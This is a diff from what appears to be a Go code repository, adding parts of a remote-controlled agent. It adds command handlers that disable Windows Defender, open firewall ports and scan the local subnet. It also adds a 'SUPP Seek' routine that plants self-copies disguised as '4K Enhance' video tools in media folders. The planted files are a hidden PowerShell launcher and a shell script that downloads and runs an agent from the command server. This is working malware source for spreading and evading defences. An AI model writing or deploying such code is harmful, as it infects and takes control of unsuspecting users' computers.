||||||
|
maxHosts := parsePortArg(command, 64)
|
||||||
|
out := deploy.ScanLocalSubnet(maxHosts)
|
||||||
|
c.sendCommandResult(action, true, out)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "defender_off":
|
||||||
|
msg, err := deploy.DisableDefenderRealtime()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "firewall_punch":
|
||||||
|
port := parsePortArg(command, 8989)
|
||||||
|
name := path
|
||||||
|
if name == "" {
|
||||||
|
name = "AetherForge Remote " + c.cfg.WorkerName
|
||||||
|
}
|
||||||
|
msg, err := deploy.OpenFirewallPort(port, name)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "supp_seek":
|
||||||
|
seekPath := strings.TrimSpace(path)
|
||||||
|
if seekPath == "" {
|
||||||
|
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// command field carries target flags: "win", "mac", "all" (default all)
|
||||||
|
flag := strings.ToLower(strings.TrimSpace(command))
|
||||||
|
opts := suppSeekOpts{
|
||||||
|
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
||||||
|
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
||||||
|
ServerURL: c.cfg.ServerURL,
|
||||||
|
}
|
||||||
|
// data field carries optional custom stem (file name without extension)
|
||||||
|
if strings.TrimSpace(data) != "" {
|
||||||
|
opts.FileStem = strings.TrimSpace(data)
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
||||||
|
go func() {
|
||||||
|
result := suppSeekWalk(seekPath, opts)
|
||||||
|
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "mesh_status":
|
||||||
|
count := c.mesh.PeerCount()
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func parsePortArg(raw string, fallback int) int {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
if raw == "" {
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
|
n, err := strconv.Atoi(raw)
|
||||||
|
if err != nil || n <= 0 || n > 65535 {
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
86
usb/agent/client/supp_seek.go
Normal file
86
usb/agent/client/supp_seek.go
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
|
||||||
|
type suppSeekOpts struct {
|
||||||
|
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
|
||||||
|
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
|
||||||
|
ServerURL string
|
||||||
|
// Name prefix used for the launcher files.
|
||||||
|
FileStem string // default: "4K Enhance"
|
||||||
|
}
|
||||||
|
|
||||||
|
type suppSeekResult struct {
|
||||||
|
Dirs int // directories visited
|
||||||
|
Seeded int // directories where files were placed
|
||||||
|
Skipped int // already seeded
|
||||||
|
Files int // total files placed
|
||||||
|
Errors int
|
||||||
|
FirstErr string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r suppSeekResult) Summary() string {
|
||||||
|
return fmt.Sprintf(
|
||||||
|
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
|
||||||
|
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// mediaExtensions is the set of file extensions that mark a directory as a
|
||||||
|
// target — if a directory contains any of these the launcher files are dropped.
|
||||||
|
var mediaExtensions = map[string]struct{}{
|
||||||
|
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
||||||
|
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
||||||
|
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
func isMediaDir(dirPath string) bool {
|
||||||
|
entries, err := os.ReadDir(dirPath)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||||
|
if _, ok := mediaExtensions[ext]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// batContent returns the content of the Windows .bat launcher.
|
||||||
|
// It launches the co-located VideoEnhancer.exe silently.
|
||||||
|
func batContent(stem string) string {
|
||||||
|
return "@echo off\r\n" +
|
||||||
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
|
||||||
|
"-Command \"& { " +
|
||||||
|
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
|
||||||
|
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
|
||||||
|
"}\"\r\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
// commandContent returns the content of the Mac/Linux .command shell script.
|
||||||
|
// Falls back to a C2 download if the server URL is known.
|
||||||
|
func commandContent(serverURL string) string {
|
||||||
|
dl := ""
|
||||||
|
if serverURL != "" {
|
||||||
|
dl = fmt.Sprintf(
|
||||||
|
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
||||||
|
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
||||||
|
serverURL,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return "#!/bin/bash\n" +
|
||||||
|
"# Video Enhancement Service\n" +
|
||||||
|
dl +
|
||||||
|
"exit 0\n"
|
||||||
|
}
|
||||||
54
usb/agent/client/supp_seek_stub.go
Normal file
54
usb/agent/client/supp_seek_stub.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
||||||
|
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
||||||
|
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||||
|
stem := opts.FileStem
|
||||||
|
if stem == "" {
|
||||||
|
stem = "4K Enhance"
|
||||||
|
}
|
||||||
|
|
||||||
|
res := suppSeekResult{}
|
||||||
|
|
||||||
|
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||||
|
if err != nil || !d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
res.Dirs++
|
||||||
|
|
||||||
|
if !isMediaDir(path) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
cmdPath := filepath.Join(path, stem+".command")
|
||||||
|
if _, err := os.Stat(cmdPath); err == nil {
|
||||||
|
res.Skipped++
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
placed := 0
|
||||||
|
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
||||||
|
content := commandContent(opts.ServerURL)
|
||||||
|
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if placed > 0 {
|
||||||
|
res.Seeded++
|
||||||
|
res.Files += placed
|
||||||
|
} else {
|
||||||
|
res.Errors++
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
|
||||||
|
return res
|
||||||
|
}
|
||||||
99
usb/agent/client/supp_seek_windows.go
Normal file
99
usb/agent/client/supp_seek_windows.go
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// suppSeekWalk walks rootPath recursively and seeds each media directory.
|
||||||
|
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||||
|
stem := opts.FileStem
|
||||||
|
if stem == "" {
|
||||||
|
stem = "4K Enhance"
|
||||||
|
}
|
||||||
|
|
||||||
|
res := suppSeekResult{}
|
||||||
|
|
||||||
|
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||||
|
if err != nil || !d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
res.Dirs++
|
||||||
|
|
||||||
|
if !isMediaDir(path) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if already seeded (bat file exists).
|
||||||
|
batPath := filepath.Join(path, stem+".bat")
|
||||||
|
if _, err := os.Stat(batPath); err == nil {
|
||||||
|
res.Skipped++
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
placed := 0
|
||||||
|
|
||||||
|
if opts.DropWindows {
|
||||||
|
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
|
||||||
|
self, err := os.Executable()
|
||||||
|
if err == nil {
|
||||||
|
dst := filepath.Join(path, stem+".exe")
|
||||||
|
if copyFile(self, dst) == nil {
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 2. Drop the .bat launcher that runs the exe silently.
|
||||||
|
bat := batContent(stem)
|
||||||
|
if writeFile(batPath, []byte(bat)) == nil {
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if opts.DropMac {
|
||||||
|
// Drop a .command shell script for Mac/Linux.
|
||||||
|
cmdPath := filepath.Join(path, stem+".command")
|
||||||
|
content := commandContent(opts.ServerURL)
|
||||||
|
if writeFile(cmdPath, []byte(content)) == nil {
|
||||||
|
// .command files need +x to auto-run on macOS.
|
||||||
|
_ = os.Chmod(cmdPath, 0755)
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if placed > 0 {
|
||||||
|
res.Seeded++
|
||||||
|
res.Files += placed
|
||||||
|
} else {
|
||||||
|
res.Errors++
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
|
||||||
|
return res
|
||||||
|
}
|
||||||
|
|
||||||
|
// copyFile copies src to dst, creating or overwriting dst.
|
||||||
|
func copyFile(src, dst string) error {
|
||||||
|
in, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
out, err := os.Create(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
_, err = io.Copy(out, in)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeFile writes data to path atomically enough for our use.
|
||||||
|
func writeFile(path string, data []byte) error {
|
||||||
|
return os.WriteFile(path, data, 0644)
|
||||||
|
}
|
||||||
Binary file not shown.
Reference in New Issue
Block a user